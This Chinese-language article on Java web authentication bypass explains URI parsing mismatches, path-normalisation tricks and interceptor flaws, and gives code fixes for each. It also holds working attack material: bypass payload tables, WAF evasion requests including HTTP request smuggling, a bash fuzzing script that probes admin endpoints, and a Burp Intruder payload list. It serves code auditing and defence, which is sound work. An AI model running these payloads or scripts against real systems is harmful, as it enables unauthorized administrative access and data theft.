Java Web 鉴权绕过模式深度剖析

Java Web 鉴权绕过模式深度剖析

鉴权绕过是代码审计中最常见也最致命的问题类型。本文涵盖 URI 解析差异、路径规范化绕过、preHandle 认证/授权缺陷、WAF 对抗等核心模式。

本文是 Java Web 认证授权安全系列 的第五篇。


5.1 URI 解析差异绕过(最关键)

这是代码审计中的 “万恶之源”——鉴权 Filter 和路由分发使用不同的 URI 获取方法。

获取方法 安全性 说明
request.getRequestURI() 保留原始路径,含 ;../、编码字符
request.getRequestURL() 同上
request.getServletPath() Tomcat 已规范化处理
request.getContextPath() 仅上下文路径
HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE Spring 路由匹配后的实际路径

经典攻击场景

// ❌ Filter 用 getRequestURI() 做白名单 → 可被分号绕过
String uri = request.getRequestURI();
if (uri.endsWith(".js") || uri.endsWith(".css")) {
    chain.doFilter(request, response);
    return;
}
// GET /admin/deleteUser;.js → getRequestURI() 匹配 .js → 放行
// Tomcat 解析分号 → 路由到 /admin/deleteUser → 鉴权绕过

// ✅ 修复
String path = request.getServletPath();
// 或 Spring 路由属性
String pattern = (String) request.getAttribute(
    HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE);

5.2 路径规范化绕过速查表

绕过模式 Payload 示例 原理
分号 + 后缀 /admin;.js/admin;.css Tomcat 删除 ; 及之后
分号 + 穿越 /public;/../admin 组合绕过
URL 编码斜杠 /admin%2fusers 容器解码前后路径不一致
双重编码 /admin%252fusers %25%
路径穿越 /public/../admin 鉴权匹配与路由解析差异
尾部斜杠 /admin/ vs /admin 某些配置视为不同
空字节 /admin%00.jpg C 字符串截断
换行符 /admin%0d%0a 影响正则匹配

5.3 越权访问(IDOR)

// ❌ 无归属校验
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
    return orderService.findById(orderId);
}

// ✅ 校验归属
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId, @AuthenticationPrincipal UserDetails user) {
    Order order = orderService.findById(orderId);
    if (!order.getUserId().equals(user.getId())) {
        throw new AccessDeniedException("无权访问");
    }
    return order;
}

5.4 多层鉴权架构分析

请求 → Filter 层 → Interceptor 层 → Controller(AOP) → 业务逻辑
        │              │                 │
        └── 登录检查    └── 权限校验      └── 业务权限

审计关键:绕过一层不代表绕过全部。需分析每层的职责和 fallback 逻辑。


5.5 实战:preHandle 只认证不授权 + getRequestURI() 绕过

模式 A:仅认证 + 全路径 return true

// ❌ 问题代码
@Override
public boolean preHandle(HttpServletRequest request, ...) {
    String uri = request.getRequestURI();
    if (uri.contains("/login") || uri.endsWith(".js")) { return true; }
    
    String token = request.getHeader("Authorization");
    if (token == null) { response.setStatus(401); return false; }
    
    User user = parseToken(token);
    if (user == null) { response.setStatus(401); return false; }
    
    return true;  // ← 任何登录用户都能访问管理接口!
}
# 攻击链
POST /api/login → Token: eyJ... (普通用户)
GET /api/admin/deleteUser?id=1  Authorization: Bearer eyJ... → 200 OK
GET /api/admin/deleteUser;.js  → 无需登录即可访问!

模式 B:白名单路径穿越

# startsWith("/api/public/") 可被穿越
GET /api/public/../admin/users → 绕过登录检查
GET /static/../../api/admin/config → contains("/static/") 绕过

模式 C:后缀匹配绕过

GET /api/admin/users;.js
GET /api/config/dbPassword;.png

正确修复

// ✅ 使用 getServletPath() + 精确白名单 + 认证+授权
public boolean preHandle(HttpServletRequest request, ...) {
    String path = request.getServletPath();
    if (WHITELIST.contains(path)) { return true; }
    
    // 认证
    User user = tokenService.validateAndGetUser(request.getHeader("Authorization"));
    if (user == null) { response.setStatus(401); return false; }
    
    // 授权 — 必须有!
    if (path.startsWith("/api/admin/") && !user.hasRole("ADMIN")) {
        response.setStatus(403); return false;
    }
    
    request.setAttribute("currentUser", user);
    return true;
}

5.6 WAF 绕过与对抗(补充)

当目标有 WAF 保护时,基础 Payload 可能被拦截。以下是绕过技巧:

编码绕过

# 基础 payload 被拦
GET /admin;.js → 403 Forbidden (WAF 拦截)

# URL 编码分号
GET /admin%3b.js

# 双重编码
GET /admin%253b.js

# Unicode 编码
GET /admin\u003b.js

# 混合编码
GET /admin%3b%2ejs

协议级绕过

# HTTP/1.0 不支持分块传输,某些 WAF 解析不同
GET /admin;.js HTTP/1.0

# 利用 Transfer-Encoding 分块
POST /admin HTTP/1.1
Transfer-Encoding: chunked

3
;.js
0

# HTTP 请求走私
GET /admin HTTP/1.1
Host: target.com
Content-Length: 0
Transfer-Encoding: chunked

GET /admin;.js HTTP/1.1
Host: target.com

参数污染

# 利用参数覆盖 WAF 检测
GET /api/admin/list?id=1&role=admin
GET /api/admin/list?role=admin&role=user  # WAF 可能取第一个

# 分号参数
GET /api/admin/list;role=admin

大小写与空格变形

# 大小写绕过
GET /ADMIN/users
GET /Admin/Users

# Tab/空格绕过
GET /admin%09/users    # %09 = Tab
GET /admin%20/users    # %20 = 空格(某些框架会 trim)

5.7 自动化 Fuzzing 策略(补充)

#!/bin/bash
# 鉴权绕过 Fuzzing 脚本
TARGET="https://target.com"
ENDPOINTS=(
    "/api/admin/users"
    "/api/admin/config"
    "/api/order/export"
    "/api/user/profile"
)

PAYLOADS=(
    ";.js"        # 分号+静态后缀
    ";.css"
    ";.png"
    "%3b.js"      # URL 编码分号
    "%3b.css"
    ";../"        # 分号+路径穿越
    "%2f"         # 编码斜杠
    "%2e%2e%2f"   # 编码 ../
    "%20"         # 空格
    "%0d%0a"      # CRLF
    "%00.jpg"     # 空字节
    "."           # 点号
    "//"          # 双斜杠
)

for endpoint in "${ENDPOINTS[@]}"; do
    echo "=== Testing: $endpoint ==="
    
    # 无认证直接访问
    status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint")
    echo "  Direct: $status"
    
    # 带 Payload 绕过
    for payload in "${PAYLOADS[@]}"; do
        status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint$payload")
        if [ "$status" != "401" ] && [ "$status" != "403" ] && [ "$status" != "302" ]; then
            echo "  ⚠️  BYPASS: $endpoint$payload$status"
        fi
    done
done

Burp Suite Intruder 配置

Attack type: Sniper
Payload position: GET /api/admin/users§§ HTTP/1.1
Payload list:
  ;.js
  ;.css
  %3b.js
  ;../public
  %2e%2e%2fpublic
  ..
  %2f
  %00.jpg

5.8 案例复盘:某电商系统鉴权绕过(补充)

发现过程

  1. 浏览网站时发现所有 API 路径形如 /api/v1/user/order/list
  2. Burp 抓包,尝试访问 /api/v1/admin/user/list → 401
  3. 追加 ;.js 后缀:/api/v1/admin/user/list;.js200 OK,返回全部用户数据

根因分析

// 该系统的 AuthInterceptor 代码
if (request.getRequestURI().endsWith(".js") 
    || request.getRequestURI().endsWith(".css")) {
    return true;  // 静态资源直接放行
}
// ... 后续的认证逻辑永远走不到

影响范围

  • 全部管理接口可绕过(用户管理、订单管理、系统配置)
  • 无需任何认证,直接获取管理权限

修复验证

  • getRequestURI() 改为 getServletPath()
  • 白名单改为精确路径匹配(Set<String>
  • 增加授权检查

总结

鉴权绕过的根因可以归结为三类:

  1. 解析差异getRequestURI() vs getServletPath(),Shiro vs Spring 路径匹配
  2. 逻辑缺失:只认证不授权,return true 无角色检查
  3. 信任输入:白名单用 endsWith/contains/startsWith 做模糊匹配

检测原则:永远不要相信请求中的原始路径。用容器规范化后的路径 + 精确匹配 + 认证+授权双检。


系列文章

改变就是好事。